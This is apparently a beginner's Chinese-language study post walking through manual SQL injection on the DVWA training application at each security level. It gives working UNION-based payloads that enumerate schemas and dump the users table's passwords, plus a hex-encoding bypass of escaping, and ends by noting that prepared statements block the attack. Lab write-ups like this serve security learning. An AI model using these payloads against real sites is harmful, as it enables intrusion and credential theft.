今天学习SQL注入的基础知识,一遍编的手动注入才能掌握SQL注入的原理和成因 😃
SQL注入:将不受信任的数据作为命令发送给解释器,产生如SQL注入,noSQL注入,OS注入,LDAP注入,攻击者的恶意数据会诱导解释器执行非预期的命令
手工注入思路(后期更新v1
):
- 判断是否存在注入漏洞,是数字型还是字符型(
' and 1=1 或者 ' and '1'='1
) (注释符:-- -aa
、#
、;%00
) - 判断字段数 (
'order by n
)(判断字段数,n<=a 回显正常,n>a 回显错误,则证明a为字段数) - 确定位置 (
'union select 1,2,...,a
) - 获取当前数据库名(
'union select 1,database(),3,...a
) - 查询数据库里的所有表
('union select 1,group_concat(table_name),3,4,...,a from information_schema.tables where table_schema=database()--+-sa
)(注:+
在url编码中为空格
) - 查询表里的列名
'union select 1,group_concat(column_name),3,4,...,a from information_schema.columns where table_schema='users'
- 查询字段
' union select 1,group_concat(haha),3,4,...,a from "列名"
low level
首先分析源码:
源码未对SQL进行任何过滤,因此直接手动测试。首先输入1查看返回结果:
测试存在多少字段:使用1' order by
,通过测试发现1' order by 3#
报错,1' order by 2#
显示:
对照源码,此时带入查询的完整语句是:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1'order by 2#';";
确定了有两个字段以后,使用1' union select 1,2#
确定查询回显位置:
可以看到first name是 第一字段,surname是第二字段,接下来构造查询语句:1' union select database(),version()#
在得到数据库的名字后,可以通过系统数据库information.schema的table表得到DVWA库中的所有表,构造语句:
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
可以看到有两个表,接下来需要知道users表中的字段,构造查询语句:
1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
看到这个就可以任意查看了,构造语句:
1'union select 1,group_concat(user_id,first_name,last_name,user,password,avatar,last_login,failed_login)from users#
到这里就基本结束了,如果有好多字段,按照这个顺序依次查询就可以了。
这里还是得考验SQL语句的使用,好多查询语句都需要熟练掌握,以及数据库里有哪些常用的表,在练习中多多积累吧~
medium level
查看源码:
可以看到这句:
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
mysqli_real_escape_string()函数用来对字符串中的特殊字符进行转义, 以使得这个字符串是一个合法的 SQL 语句。传入的字符串会根据当前连接的字符集进行转义,得到一个编码后的合法的 SQL 语句。
并且设置了下拉菜单,希望用户选择,而非输入
这里可以通过BP抓包修改绕过:
这里跟low level一样先通过1 order by
查询字段数为2个字段,然后1 union select 1,2#
确定位置,1 union select database(),version()#
查询数据库名:
获取数据库里的所有表:
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
然后查询users里边的字段数据:
(这里因为源码中过滤了特殊字符,可以进行其他编码绕过)
我这里利用16进制绕过:
进制转换:http://tools.bugscaner.com/text/zifuchuanzhuanhex.html
注:16进制是0x开头的,转换完记得添加,还有在线工具有添加,我就再没找了,希望哪位大佬路过,指正说明下,阿里嘎多~
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
接下来获取字段中的数据:
1 union select user,password from users#
这里主要就是注意转义和用BP绕过限制,其他语句和low level一样
high level
分析源码:
这里就是多了一个输入限制,可以直接用#
注释掉,其他的跟low level一样,就不一一测试了…
这里也可以用BP进行绕过,有兴趣的小伙伴可以自己测试下~
impossible
查看源码:
这里通过查阅PHP PDO预定义常量
PDO::PARAM_INT
表示SQL 中的整型,杜绝了SQL注入~
总结:
1、 在SQL注入中要想找到SQL注入漏洞存在首先要学会分析源代码,仅凭借运气尝试,只是下下策,学会代码分析就会很容易发现是否可以注入、绕过。
2、 代码基础,懂得基本代码编写逻辑,在渗透过程中起着不小的作用,可以的节省大量时间。
3、 SQL基本查询语句的熟练掌握,不然寸步难行
4、 大量的练习,SQL注入工具一大堆,但是不懂得其原理,这条路只会越走越窄,等你熟悉了以后,拿到一个站点手动测试,判断存在漏洞,用工具去跑,就会有锦上添花的效果。
5、 工具只是辅助,不是能力,不做script boy~
<小白初试,大佬请多多指教>